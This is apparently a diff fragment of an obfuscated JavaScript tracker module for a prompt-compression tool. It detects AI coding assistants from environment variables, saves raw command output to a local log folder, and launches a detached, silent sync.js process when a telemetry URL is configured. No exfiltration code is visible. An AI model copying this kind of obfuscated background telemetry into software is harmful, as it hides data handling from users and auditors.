fs=__importStar(require('fs')),path=__importStar(require(a0_0x2c620c(0x11a))),os=__importStar(require('os')),child_process_1=require(a0_0x2c620c(0x151));exports[a0_0x2c620c(0x145)]={'claude-fable-5':{'name':a0_0x2c620c(0x17c),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x2c620c(0xf3),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2c620c(0x114),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2c620c(0x119),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x2c620c(0xf0),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2c620c(0x142),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x2c620c(0x179),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x2c620c(0x161),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2c620c(0x17a),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2c620c(0x11c),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x2c620c(0x105),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2c620c(0x13c),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2c620c(0x101),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2c620c(0xfd),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2c620c(0x143),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2c620c(0x148),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2c620c(0x129),'input_price_1m':0.15},'o1':{'name':a0_0x2c620c(0x10c),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2c620c(0xfa),'input_price_1m':0x3},'o3-mini':{'name':a0_0x2c620c(0xef),'input_price_1m':1.1},'cursor-small':{'name':a0_0x2c620c(0x123),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x2c620c(0x15a),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x2c620c(0x113),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x2c620c(0x16d),'input_price_1m':3.5}};function detectSessionTool(){const _0x3451f9=a0_0x2c620c,_0x404c5b=process[_0x3451f9(0x14b)],_0x2c9532={'tool':'','model':_0x3451f9(0x126),'modelShort':''};if(_0x404c5b[_0x3451f9(0x12c)]&&exports[_0x3451f9(0x145)][_0x404c5b[_0x3451f9(0x12c)]])return{'tool':'','model':_0x404c5b['TRIMPROMPT_MODEL'],'modelShort':''};const _0x3bdb77=(_0x404c5b[_0x3451f9(0x173)]||'')['toLowerCase']();if(_0x3bdb77){if(_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x141))||_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x112))){const _0x4d7640=_0x404c5b[_0x3451f9(0x146)]===_0x3451f9(0x14f)?_0x3451f9(0xf5):_0x3451f9(0x162),_0x1c36cd=_0x404c5b[_0x3451f9(0x146)]===_0x3451f9(0x14f)?'claude-opus-4-8':_0x3451f9(0x126);return{'tool':_0x3451f9(0xf1),'model':_0x1c36cd,'modelShort':_0x4d7640};}if(_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x11f)))return{'tool':_0x3451f9(0x11f),'model':'claude-sonnet-4-6','modelShort':_0x3451f9(0x162)};if(_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x100))||_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x122))){const _0x410a80=_0x404c5b[_0x3451f9(0x17d)]||'';if(_0x410a80&&exports[_0x3451f9(0x145)][_0x410a80])return{'tool':_0x3451f9(0x122),'model':_0x410a80,'modelShort':_0x410a80[_0x3451f9(0x168)]('-')[_0x3451f9(0x108)]()||''};return{'tool':_0x3451f9(0x122),'model':_0x3451f9(0x170),'modelShort':'sonnet'};}if(_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x177)))return{'tool':'gemini','model':_0x3451f9(0x104),'modelShort':_0x3451f9(0x10d)};if(_0x3bdb77[_0x3451f9(0x15f)](_0x3451f9(0x117)))return{'tool':_0x3451f9(0x117),'model':'o3-mini','modelShort':_0x3451f9(0x111)};if(_0x3bdb77[_0x3451f9(0x15f)]('devin'))return{'tool':'devin','model':_0x3451f9(0x126),'modelShort':''};if(_0x3bdb77['includes'](_0x3451f9(0x154)))return{'tool':_0x3451f9(0x154),'model':_0x3451f9(0x115),'modelShort':'gemini'};if(_0x3bdb77['includes'](_0x3451f9(0x118))||_0x404c5b[_0x3451f9(0x133)])return{'tool':_0x3451f9(0x118),'model':_0x3451f9(0x126),'modelShort':''};return{'tool':_0x3bdb77[_0x3451f9(0x168)]('_')[0x0]['split']('-')[0x0],'model':_0x3451f9(0x126),'modelShort':''};}if(_0x404c5b[_0x3451f9(0x135)]==='1'||_0x404c5b['CLAUDE_CODE']==='1'){const _0x5e5714=_0x404c5b[_0x3451f9(0x146)]===_0x3451f9(0x14f)?_0x3451f9(0xf5):_0x3451f9(0x162),_0x303f5d=_0x404c5b['CLAUDE_EFFORT']===_0x3451f9(0x14f)?'claude-opus-4-8':_0x3451f9(0x126);return{'tool':_0x3451f9(0xf1),'model':_0x303f5d,'modelShort':_0x5e5714};}if(_0x404c5b[_0x3451f9(0x171)]==='1')return{'tool':_0x3451f9(0x11f),'model':'claude-sonnet-4-6','modelShort':_0x3451f9(0x162)};if(_0x404c5b['GEMINI_CLI']==='1')return{'tool':_0x3451f9(0x177),'model':'gemini-3-5-flash','modelShort':_0x3451f9(0x10d)};if(_0x404c5b[_0x3451f9(0x17d)]||_0x404c5b['COPILOT_GITHUB_TOKEN']){const _0xdc2d88=_0x404c5b[_0x3451f9(0x17d)]||'';if(_0xdc2d88&&exports[_0x3451f9(0x145)][_0xdc2d88])return{'tool':_0x3451f9(0x122),'model':_0xdc2d88,'modelShort':_0xdc2d88['split']('-')['pop']()||''};return{'tool':_0x3451f9(0x122),'model':_0x3451f9(0x170),'modelShort':_0x3451f9(0x162)};}if(_0x404c5b[_0x3451f9(0x133)]||_0x404c5b[_0x3451f9(0x10e)])return{'tool':_0x3451f9(0x118),'model':_0x3451f9(0x126),'modelShort':''};if(_0x404c5b[_0x3451f9(0x11e)])return{'tool':'cline','model':_0x3451f9(0x126),'modelShort':''};if(_0x404c5b[_0x3451f9(0xf6)])return{'tool':_0x3451f9(0x166),'model':'claude-sonnet-4-6','modelShort':''};if(_0x404c5b[_0x3451f9(0x160)]==='1')return{'tool':_0x3451f9(0x154),'model':_0x3451f9(0x115),'modelShort':_0x3451f9(0x177)};if(_0x404c5b[_0x3451f9(0x146)]){const _0x3199cf=_0x404c5b[_0x3451f9(0x146)]===_0x3451f9(0x14f)?_0x3451f9(0xf5):_0x3451f9(0x162),_0x46ddf6=_0x404c5b[_0x3451f9(0x146)]===_0x3451f9(0x14f)?_0x3451f9(0x147):_0x3451f9(0x126);return{'tool':'','model':_0x46ddf6,'modelShort':''};}if(_0x404c5b[_0x3451f9(0x144)]&&exports[_0x3451f9(0x145)][_0x404c5b[_0x3451f9(0x144)]])return{'tool':_0x3451f9(0x125),'model':_0x404c5b['AIDER_MODEL'],'modelShort':''};if(_0x404c5b[_0x3451f9(0x172)]){const _0x4252b6=(_0x404c5b[_0x3451f9(0x17e)]||'')['toLowerCase']();if(_0x4252b6[_0x3451f9(0x15f)](_0x3451f9(0x11f)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x3451f9(0x162)};if(_0x4252b6[_0x3451f9(0x15f)](_0x3451f9(0x14e)))return{'tool':_0x3451f9(0x14e),'model':_0x3451f9(0x126),'modelShort':_0x3451f9(0x162)};}const _0x29f8ee=process[_0x3451f9(0x14b)]['TRIMPROMPT_MODEL']||'';if(_0x29f8ee&&exports['PRICING'][_0x29f8ee])return{'tool':'','model':_0x29f8ee,'modelShort':''};return _0x2c9532;}function a0_0x11ba(){const _0x269ffa=['baseDir','parse','includes','ANTIGRAVITY_AGENT','Claude\x203.5\x20Sonnet','sonnet','estimated_raw_tokens','existsSync','toString','continue','spawn','split','1.0','tool','auto','stats.json','Gemini\x203.5\x20Live\x20Translate','config.json','logsDir','claude-sonnet-4-5','CURSOR_AGENT','VSCODE_PID','AI_AGENT','utf8','hasOwnProperty','init','gemini','writable','Claude\x20Sonnet\x204.5','Claude\x20Haiku\x204.5','stringify','Claude\x20Fable\x205','COPILOT_MODEL','PATH','getOwnPropertyNames','Tracker','OpenAI\x20o3-mini','Claude\x20Opus\x204.5','claude','defineProperty','Claude\x20Mythos\x205','detectSessionTool','opus','CONTINUE_GLOBAL_DIR','substring','saveLogs','.comp.txt','OpenAI\x20o1-mini','length','ceil','GPT-5.4\x20Nano','join','saveConfig','github-copilot','GPT-4o','default','call','gemini-3-5-flash','GPT-5.5','create','112947WjffmW','pop','31757lujEhQ','320hdhWyK','tokens_saved','OpenAI\x20o1','flash','REPLIT_ENVIRONMENT','__esModule','6OAdyxd','o3mini','claude_code','Gemini\x203.1\x20Flash-Lite','Claude\x20Opus\x204.8','gemini-3-1-pro','homedir','codex','replit','Claude\x20Opus\x204.7','path','writeFileSync','Claude\x20Haiku\x203.5','getConfig','CLINE_DATA_DIR','cursor','model_used','readFileSync','copilot','Cursor\x20Small','TRIMPROMPT_TELEMETRY_URL','aider','claude-sonnet-4-6','telemetry_url','random','GPT-4o\x20Mini','__setModuleDefault','configPath','TRIMPROMPT_MODEL','12vZqGqi','modelShort','__createBinding','.raw.txt','getOwnPropertyDescriptor','statsPath','REPL_ID','prototype','CLAUDECODE','getLogs','logExecution','input_price_1m','setConfig','ignore','tracker','GPT-5.4','max','13942494itQGAL','6005672nXVjPi','push','claude-code','Claude\x20Opus\x204.1\x20(deprecated)','GPT-4.1\x20Mini','AIDER_MODEL','PRICING','CLAUDE_EFFORT','claude-opus-4-8','GPT-4.1\x20Nano','toFixed','name','env','__importStar','config','windsurf','high','3140NTmToR','child_process','claude-3-5-sonnet','toISOString','antigravity','153376LjoIFa','1290CSosRi','configurable','mkdirSync','estimated_compressed_tokens','Gemini\x203.5\x20Flash','getStatsSummary','3701418JbZVxH'];a0_0x11ba=function(){return _0x269ffa;};return a0_0x11ba();}class Tracker{[a0_0x2c620c(0x15d)];[a0_0x2c620c(0x12b)];['statsPath'];['logsDir'];[a0_0x2c620c(0x14d)];constructor(){const _0x2c7c6a=a0_0x2c620c;this[_0x2c7c6a(0x15d)]=path[_0x2c7c6a(0xfe)](os[_0x2c7c6a(0x116)](),'.trimprompt'),this[_0x2c7c6a(0x12b)]=path[_0x2c7c6a(0xfe)](this[_0x2c7c6a(0x15d)],_0x2c7c6a(0x16e)),this[_0x2c7c6a(0x132)]=path[_0x2c7c6a(0xfe)](this[_0x2c7c6a(0x15d)],_0x2c7c6a(0x16c)),this[_0x2c7c6a(0x16f)]=path[_0x2c7c6a(0xfe)](this[_0x2c7c6a(0x15d)],'logs'),this[_0x2c7c6a(0x176)]();}[a0_0x2c620c(0x176)](){const _0x5f3b42=a0_0x2c620c;!fs[_0x5f3b42(0x164)](this[_0x5f3b42(0x15d)])&&fs[_0x5f3b42(0x158)](this[_0x5f3b42(0x15d)],{'recursive':!![]});!fs[_0x5f3b42(0x164)](this[_0x5f3b42(0x16f)])&&fs[_0x5f3b42(0x158)](this[_0x5f3b42(0x16f)],{'recursive':!![]});const _0x444203={'version':_0x5f3b42(0x169),'telemetry_url':process[_0x5f3b42(0x14b)][_0x5f3b42(0x124)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x5f3b42(0x147)};if(fs['existsSync'](this['configPath']))try{const _0x516041=fs[_0x5f3b42(0x121)](this[_0x5f3b42(0x12b)],'utf8');this[_0x5f3b42(0x14d)]={..._0x444203,...JSON[_0x5f3b42(0x15e)](_0x516041)};}catch(_0x398391){this[_0x5f3b42(0x14d)]=_0x444203;}else this[_0x5f3b42(0x14d)]=_0x444203,this[_0x5f3b42(0xff)]();!fs['existsSync'](this[_0x5f3b42(0x132)])&&fs[_0x5f3b42(0x11b)](this[_0x5f3b42(0x132)],JSON[_0x5f3b42(0x17b)]([]),'utf8');}['getConfig'](){const _0x2846db=a0_0x2c620c;return process[_0x2846db(0x14b)][_0x2846db(0x124)]&&(this[_0x2846db(0x14d)][_0x2846db(0x127)]=process[_0x2846db(0x14b)][_0x2846db(0x124)]),this[_0x2846db(0x14d)];}[a0_0x2c620c(0x139)](_0x399de7,_0x3c4edf){const _0x1de1f1=a0_0x2c620c;this[_0x1de1f1(0x14d)][_0x399de7]=_0x3c4edf,this[_0x1de1f1(0xff)]();}['saveConfig'](){const _0x5ad833=a0_0x2c620c;fs[_0x5ad833(0x11b)](this['configPath'],JSON['stringify'](this[_0x5ad833(0x14d)],null,0x2),_0x5ad833(0x174));}[a0_0x2c620c(0x136)](){const _0x1fcf56=a0_0x2c620c;try{if(!fs[_0x1fcf56(0x164)](this[_0x1fcf56(0x132)]))return[];const _0x446997=fs[_0x1fcf56(0x121)](this[_0x1fcf56(0x132)],_0x1fcf56(0x174));return JSON[_0x1fcf56(0x15e)](_0x446997);}catch{return[];}}['saveLogs'](_0xc742c9){const _0xd91120=a0_0x2c620c;fs[_0xd91120(0x11b)](this[_0xd91120(0x132)],JSON[_0xd91120(0x17b)](_0xc742c9,null,0x2),_0xd91120(0x174));}[a0_0x2c620c(0x137)](_0x5aff3b,_0x172b3c,_0xf16725,_0x6d0d8a){const _0x3c192e=a0_0x2c620c,_0xdfbe4d=this['getLogs'](),_0x21946e=_0x172b3c[_0x3c192e(0xfb)],_0x1d4365=_0xf16725[_0x3c192e(0xfb)],_0x132237=Math['ceil'](_0x21946e/0x4),_0x4014be=Math[_0x3c192e(0xfc)](_0x1d4365/0x4),_0xebb52a=Math[_0x3c192e(0x13d)](0x0,_0x132237-_0x4014be),_0x5199cb=detectSessionTool(),_0x252b9c=_0x5199cb['model'],_0xa6457a=Math[_0x3c192e(0x128)]()[_0x3c192e(0x165)](0x24)[_0x3c192e(0xf7)](0x2,0xb);try{fs['writeFileSync'](path['join'](this[_0x3c192e(0x16f)],_0xa6457a+_0x3c192e(0x130)),_0x172b3c,_0x3c192e(0x174)),fs['writeFileSync'](path[_0x3c192e(0xfe)](this[_0x3c192e(0x16f)],_0xa6457a+_0x3c192e(0xf9)),_0xf16725,'utf8');}catch{}const _0xde1b7a=_0x5aff3b['split']('\x20')[0x0]||'unknown',_0x2fbdfd=_0x5199cb[_0x3c192e(0x16a)]?_0x5199cb['modelShort']?_0x5199cb['tool']+'-'+_0x5199cb[_0x3c192e(0x12e)]+'-'+_0xde1b7a:_0x5199cb[_0x3c192e(0x16a)]+'-'+_0xde1b7a:_0xde1b7a,_0x16eee1={'id':_0xa6457a,'timestamp':new Date()[_0x3c192e(0x153)](),'command':_0x2fbdfd,'raw_chars':_0x21946e,'compressed_chars':_0x1d4365,'estimated_raw_tokens':_0x132237,'estimated_compressed_tokens':_0x4014be,'tokens_saved':_0xebb52a,'model_used':_0x252b9c,'exit_code':_0x6d0d8a,'synced':![],'ai_detected':!!_0x5199cb['tool']};_0xdfbe4d[_0x3c192e(0x140)](_0x16eee1),this[_0x3c192e(0xf8)](_0xdfbe4d);const _0x3e9e3c=this[_0x3c192e(0x11d)]()['telemetry_url'];return _0x3e9e3c&&_0x3e9e3c['trim']()[_0x3c192e(0xfb)]>0x0&&this['triggerBackgroundSync'](),_0x16eee1;}['triggerBackgroundSync'](){const _0x3913e8=a0_0x2c620c;try{const _0x32846d=path[_0x3913e8(0xfe)](__dirname,'sync.js');if(fs[_0x3913e8(0x164)](_0x32846d)){const _0x4c38a5=(0x0,child_process_1[_0x3913e8(0x167)])(process['execPath'],[_0x32846d],{'detached':!![],'stdio':_0x3913e8(0x13a)});_0x4c38a5['unref']();}}catch{}}[a0_0x2c620c(0x15b)](_0x247bb7='auto'){const _0x5b0f98=a0_0x2c620c,_0x2f0ed6=this['getLogs']();let _0x55743d=0x0,_0x52e4a8=0x0,_0x39fb2c=0x0;for(const _0x38ced4 of _0x2f0ed6){_0x55743d+=_0x38ced4[_0x5b0f98(0x163)],_0x52e4a8+=_0x38ced4[_0x5b0f98(0x159)],_0x39fb2c+=_0x38ced4[_0x5b0f98(0x10b)];}let _0x1e7f1c=_0x247bb7;(!_0x1e7f1c||_0x1e7f1c===_0x5b0f98(0x16b)||!exports[_0x5b0f98(0x145)][_0x1e7f1c])&&(_0x2f0ed6[_0x5b0f98(0xfb)]>0x0&&_0x2f0ed6[_0x2f0ed6[_0x5b0f98(0xfb)]-0x1][_0x5b0f98(0x120)]?_0x1e7f1c=_0x2f0ed6[_0x2f0ed6['length']-0x1][_0x5b0f98(0x120)]:_0x1e7f1c=this[_0x5b0f98(0x11d)]()['default_model']||_0x5b0f98(0x152));const _0x3daf22=exports[_0x5b0f98(0x145)][_0x1e7f1c]||exports[_0x5b0f98(0x145)][_0x5b0f98(0x152)],_0x36211f=_0x39fb2c*_0x3daf22[_0x5b0f98(0x138)]/0xf4240,_0x456518=_0x55743d*_0x3daf22[_0x5b0f98(0x138)]/0xf4240,_0x5edede=_0x52e4a8*_0x3daf22[_0x5b0f98(0x138)]/0xf4240,_0x5b4995=_0x55743d>0x0?_0x39fb2c/_0x55743d*0x64:0x0;return{'total_raw_tokens':_0x55743d,'total_compressed_tokens':_0x52e4a8,'total_tokens_saved':_0x39fb2c,'savings_percentage':parseFloat(_0x5b4995[_0x5b0f98(0x149)](0x1)),'money_saved_usd':parseFloat(_0x36211f[_0x5b0f98(0x149)](0x4)),'raw_cost_usd':parseFloat(_0x456518['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x5edede['toFixed'](0x4)),'model_name':_0x3daf22[_0x5b0f98(0x14a)],'model_key':_0x1e7f1c};}}exports[a0_0x2c620c(0x180)]=Tracker,exports[a0_0x2c620c(0x13b)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x46af29=a0_0x4124;(function(_0x109e8c,_0x5a0513){const _0x1b5779=a0_0x4124,_0x527759=_0x109e8c();while(!![]){try{const _0x1bfdea=parseInt(_0x1b5779(0x203))/0x1+parseInt(_0x1b5779(0x1c5))/0x2*(-parseInt(_0x1b5779(0x22a))/0x3)+parseInt(_0x1b5779(0x1f2))/0x4+-parseInt(_0x1b5779(0x1e8))/0x5*(parseInt(_0x1b5779(0x1b5))/0x6)+parseInt(_0x1b5779(0x1a0))/0x7*(parseInt(_0x1b5779(0x1f6))/0x8)+parseInt(_0x1b5779(0x1e2))/0x9*(parseInt(_0x1b5779(0x1f8))/0xa)+-parseInt(_0x1b5779(0x1ea))/0xb;if(_0x1bfdea===_0x5a0513)break;else _0x527759['push'](_0x527759['shift']());}catch(_0x3e799d){_0x527759['push'](_0x527759['shift']());}}}(a0_0x4b5a,0x820e6));var __createBinding=this&&this[a0_0x46af29(0x201)]||(Object['create']?function(_0x42d24f,_0x50cd24,_0x24f30a,_0x48d7b0){const _0x2d2338=a0_0x46af29;if(_0x48d7b0===undefined)_0x48d7b0=_0x24f30a;var _0x1386fd=Object[_0x2d2338(0x1bd)](_0x50cd24,_0x24f30a);(!_0x1386fd||(_0x2d2338(0x225)in _0x1386fd?!_0x50cd24['__esModule']:_0x1386fd['writable']||_0x1386fd[_0x2d2338(0x197)]))&&(_0x1386fd={'enumerable':!![],'get':function(){return _0x50cd24[_0x24f30a];}}),Object[_0x2d2338(0x1da)](_0x42d24f,_0x48d7b0,_0x1386fd);}:function(_0x5bbcd4,_0x39de9f,_0x27c48a,_0x719361){if(_0x719361===undefined)_0x719361=_0x27c48a;_0x5bbcd4[_0x719361]=_0x39de9f[_0x27c48a];}),__setModuleDefault=this&&this[a0_0x46af29(0x1ec)]||(Object[a0_0x46af29(0x1cc)]?function(_0xc6f2f9,_0x552ce4){const _0xf24105=a0_0x46af29;Object[_0xf24105(0x1da)](_0xc6f2f9,'default',{'enumerable':!![],'value':_0x552ce4});}:function(_0x57e8ae,_0x29487b){const _0x3848d8=a0_0x46af29;_0x57e8ae[_0x3848d8(0x1e7)]=_0x29487b;}),__importStar=this&&this['__importStar']||(function(){var _0x5c021d=function(_0x56a1ae){const _0x56572c=a0_0x4124;return _0x5c021d=Object[_0x56572c(0x1a8)]||function(_0x410189){const _0x4ef3c7=_0x56572c;var _0x28fff4=[];for(var _0x128877 in _0x410189)if(Object[_0x4ef3c7(0x198)][_0x4ef3c7(0x206)][_0x4ef3c7(0x1f5)](_0x410189,_0x128877))_0x28fff4[_0x28fff4[_0x4ef3c7(0x1d4)]]=_0x128877;return _0x28fff4;},_0x5c021d(_0x56a1ae);};return function(_0x4f7a74){const _0x24774a=a0_0x4124;if(_0x4f7a74&&_0x4f7a74[_0x24774a(0x1d3)])return _0x4f7a74;var _0xcd774d={};if(_0x4f7a74!=null){for(var _0x49ea67=_0x5c021d(_0x4f7a74),_0x47a951=0x0;_0x47a951<_0x49ea67['length'];_0x47a951++)if(_0x49ea67[_0x47a951]!=='default')__createBinding(_0xcd774d,_0x4f7a74,_0x49ea67[_0x47a951]);}return __setModuleDefault(_0xcd774d,_0x4f7a74),_0xcd774d;};}());Object[a0_0x46af29(0x1da)](exports,a0_0x46af29(0x1d3),{'value':!![]}),exports['tracker']=exports[a0_0x46af29(0x208)]=exports['PRICING']=void 0x0,exports[a0_0x46af29(0x216)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x46af29(0x1a6))),os=__importStar(require('os')),child_process_1=require('child_process');function a0_0x4124(_0x4b6375,_0x4f4f16){_0x4b6375=_0x4b6375-0x196;const _0x4b5a18=a0_0x4b5a();let _0x4124db=_0x4b5a18[_0x4b6375];return _0x4124db;}exports[a0_0x46af29(0x211)]={'claude-fable-5':{'name':a0_0x46af29(0x1fd),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x46af29(0x1d5),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x46af29(0x21b),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x46af29(0x1e4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x46af29(0x20d),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x46af29(0x20e),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x46af29(0x1bf),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x46af29(0x1af),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x46af29(0x217),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x46af29(0x1db),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x46af29(0x22d),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x46af29(0x1b2),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x46af29(0x1d8),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x46af29(0x219),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x46af29(0x1a7),'input_price_1m':0.15},'o1':{'name':a0_0x46af29(0x1f4),'input_price_1m':0xf},'o1-mini':{'name':a0_0x46af29(0x224),'input_price_1m':0x3},'o3-mini':{'name':a0_0x46af29(0x1ed),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x46af29(0x231),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x46af29(0x1d6),'input_price_1m':3.5}};function detectSessionTool(){const _0x598baa=a0_0x46af29,_0x61670d=process.env,_0x1bdad8={'tool':'','model':_0x598baa(0x1b4),'modelShort':''};if(_0x61670d['TRIMPROMPT_MODEL']&&exports[_0x598baa(0x211)][_0x61670d[_0x598baa(0x218)]])return{'tool':'','model':_0x61670d['TRIMPROMPT_MODEL'],'modelShort':''};const _0x5d05c2=(_0x61670d[_0x598baa(0x21e)]||'')[_0x598baa(0x1aa)]();if(_0x5d05c2){if(_0x5d05c2[_0x598baa(0x212)](_0x598baa(0x20b))||_0x5d05c2[_0x598baa(0x212)]('claude_code')){const _0x5963d1=_0x61670d[_0x598baa(0x1c2)]===_0x598baa(0x204)?_0x598baa(0x19c):_0x598baa(0x1d7),_0x368879=_0x61670d['CLAUDE_EFFORT']===_0x598baa(0x204)?_0x598baa(0x1ca):_0x598baa(0x1b4);return{'tool':_0x598baa(0x1fe),'model':_0x368879,'modelShort':_0x5963d1};}if(_0x5d05c2[_0x598baa(0x212)]('cursor'))return{'tool':_0x598baa(0x1c9),'model':'claude-sonnet-4-6','modelShort':_0x598baa(0x1d7)};if(_0x5d05c2[_0x598baa(0x212)](_0x598baa(0x1f9))||_0x5d05c2['includes'](_0x598baa(0x1ac))){const _0x1296c0=_0x61670d[_0x598baa(0x196)]||'';if(_0x1296c0&&exports[_0x598baa(0x211)][_0x1296c0])return{'tool':_0x598baa(0x1ac),'model':_0x1296c0,'modelShort':_0x1296c0[_0x598baa(0x1eb)]('-')[_0x598baa(0x1f3)]()||''};return{'tool':_0x598baa(0x1ac),'model':_0x598baa(0x1b7),'modelShort':_0x598baa(0x1d7)};}if(_0x5d05c2['includes']('gemini'))return{'tool':'gemini','model':_0x598baa(0x1a2),'modelShort':'flash'};if(_0x5d05c2[_0x598baa(0x212)](_0x598baa(0x1f1)))return{'tool':'codex','model':_0x598baa(0x1a9),'modelShort':_0x598baa(0x223)};if(_0x5d05c2[_0x598baa(0x212)](_0x598baa(0x1c6)))return{'tool':_0x598baa(0x1c6),'model':_0x598baa(0x1b4),'modelShort':''};if(_0x5d05c2[_0x598baa(0x212)](_0x598baa(0x20f)))return{'tool':_0x598baa(0x20f),'model':_0x598baa(0x20c),'modelShort':_0x598baa(0x1d2)};if(_0x5d05c2['includes'](_0x598baa(0x1a5))||_0x61670d[_0x598baa(0x19a)])return{'tool':_0x598baa(0x1a5),'model':_0x598baa(0x1b4),'modelShort':''};return{'tool':_0x5d05c2[_0x598baa(0x1eb)]('_')[0x0]['split']('-')[0x0],'model':_0x598baa(0x1b4),'modelShort':''};}if(_0x61670d[_0x598baa(0x1e6)]==='1'||_0x61670d[_0x598baa(0x1c4)]==='1'){const _0x12b087=_0x61670d[_0x598baa(0x1c2)]===_0x598baa(0x204)?_0x598baa(0x19c):_0x598baa(0x1d7),_0x2ff092=_0x61670d[_0x598baa(0x1c2)]==='high'?'claude-opus-4-8':'claude-sonnet-4-6';return{'tool':_0x598baa(0x1fe),'model':_0x2ff092,'modelShort':_0x12b087};}if(_0x61670d[_0x598baa(0x1ab)]==='1')return{'tool':_0x598baa(0x1c9),'model':'claude-sonnet-4-6','modelShort':'sonnet'};if(_0x61670d[_0x598baa(0x22b)]==='1')return{'tool':'gemini','model':_0x598baa(0x1a2),'modelShort':_0x598baa(0x22f)};if(_0x61670d[_0x598baa(0x196)]||_0x61670d['COPILOT_GITHUB_TOKEN']){const _0xaf9760=_0x61670d[_0x598baa(0x196)]||'';if(_0xaf9760&&exports[_0x598baa(0x211)][_0xaf9760])return{'tool':_0x598baa(0x1ac),'model':_0xaf9760,'modelShort':_0xaf9760['split']('-')['pop']()||''};return{'tool':_0x598baa(0x1ac),'model':'claude-sonnet-4-5','modelShort':'sonnet'};}if(_0x61670d['REPL_ID']||_0x61670d['REPLIT_ENVIRONMENT'])return{'tool':'replit','model':_0x598baa(0x1b4),'modelShort':''};if(_0x61670d[_0x598baa(0x1ae)])return{'tool':_0x598baa(0x1bb),'model':'claude-sonnet-4-6','modelShort':''};if(_0x61670d['CONTINUE_GLOBAL_DIR'])return{'tool':_0x598baa(0x222),'model':_0x598baa(0x1b4),'modelShort':''};if(_0x61670d[_0x598baa(0x22c)]==='1')return{'tool':_0x598baa(0x20f),'model':'gemini-3-1-pro','modelShort':_0x598baa(0x1d2)};if(_0x61670d['CLAUDE_EFFORT']){const _0x44416f=_0x61670d[_0x598baa(0x1c2)]==='high'?_0x598baa(0x19c):'sonnet',_0x29974b=_0x61670d[_0x598baa(0x1c2)]===_0x598baa(0x204)?'claude-opus-4-8':_0x598baa(0x1b4);return{'tool':'','model':_0x29974b,'modelShort':''};}if(_0x61670d['AIDER_MODEL']&&exports['PRICING'][_0x61670d[_0x598baa(0x1e0)]])return{'tool':'aider','model':_0x61670d[_0x598baa(0x1e0)],'modelShort':''};if(_0x61670d[_0x598baa(0x1e3)]){const _0x46b36d=(_0x61670d[_0x598baa(0x1e9)]||'')[_0x598baa(0x1aa)]();if(_0x46b36d[_0x598baa(0x212)]('cursor'))return{'tool':'cursor','model':_0x598baa(0x1b4),'modelShort':_0x598baa(0x1d7)};if(_0x46b36d[_0x598baa(0x212)](_0x598baa(0x1cb)))return{'tool':_0x598baa(0x1cb),'model':'claude-sonnet-4-6','modelShort':'sonnet'};}const _0x2f5acc=process.env.TRIMPROMPT_MODEL||'';if(_0x2f5acc&&exports[_0x598baa(0x211)][_0x2f5acc])return{'tool':'','model':_0x2f5acc,'modelShort':''};return _0x1bdad8;}class 